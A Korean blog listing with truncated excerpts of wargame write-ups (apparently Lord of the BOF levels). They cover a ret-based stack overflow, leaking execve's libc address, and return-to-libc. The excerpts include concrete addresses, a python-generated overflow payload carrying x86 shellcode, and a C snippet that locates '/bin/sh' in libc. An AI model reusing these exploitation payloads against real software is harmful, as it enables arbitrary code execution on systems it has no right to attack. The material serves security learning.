nemo의 이야기
위 소스를 확인하면 1. 스택을 사용할 수 없다. 2. RTL을 사용할 수 없다. 이를 해결 하려면 ret를 이용해서 retrun address의 위치를 바꿔 공격하면 될 것이다. 우선 ret의 주소를 확인해 보자 ret : 804851e이다 그리고 buffer의 주소를 확인해보자 buffer에 주소는 bffffab0라는 것을 확인 할 수 있다. 그리고 쉘코드의 위치를 구하기 위해 52bit를 16진수로 바꾸면 0x32가 된다. 이제 bffffab0 + 0x32를 더하면 => 0xbffffae4가 된다. 그럼 이제 공격 코드를 적성해보자 $(python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xe4\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\..
코드를 확인해 보면 1. popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); fgets(buffer, 255, fp); ->assasin에 들어있는 주소를 볼 수 있다. libc ldd는 프로그램이 사용하는 라이브러리를 보여준다. awk는 화면에 출력된 내용을 분할이나 파싱할때 쓰인다 (공백으로 분할된다) 각각에 변수를 붙인다. 2. popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); -> execve에 함수 위치를 가져온다 nm을 이용하면 라이브러리에..
코드를 확인하면 1. RET를 스택 영역으로 둘 수 없다. 이를 해결하기 위해 RTL(Return to library)를 이용해서 공격 하면 된다. RTL이란 리턴 값을 라이브러리가 있는 위치로 바꿔서 공격하는 방식이다. 우선 system 라이브러리가 위치하는 주소를 확인을 해보자 주소는 40058ae0이다 그리고 공유라이브러리에 /bin/sh에 주소를 찾아보자 그럴려면 c파일로 찾아보자 #include int main() { char *sh = 0x40058ae0; while( memcmp(sh, "/bin/sh", 7)) { sh++; } printf("find shell : 0x%08x \n",sh); return 0; } 실행 시켜보면 /bin/sh에 주소는 400fbff9 라는 것을 확인할 수 ..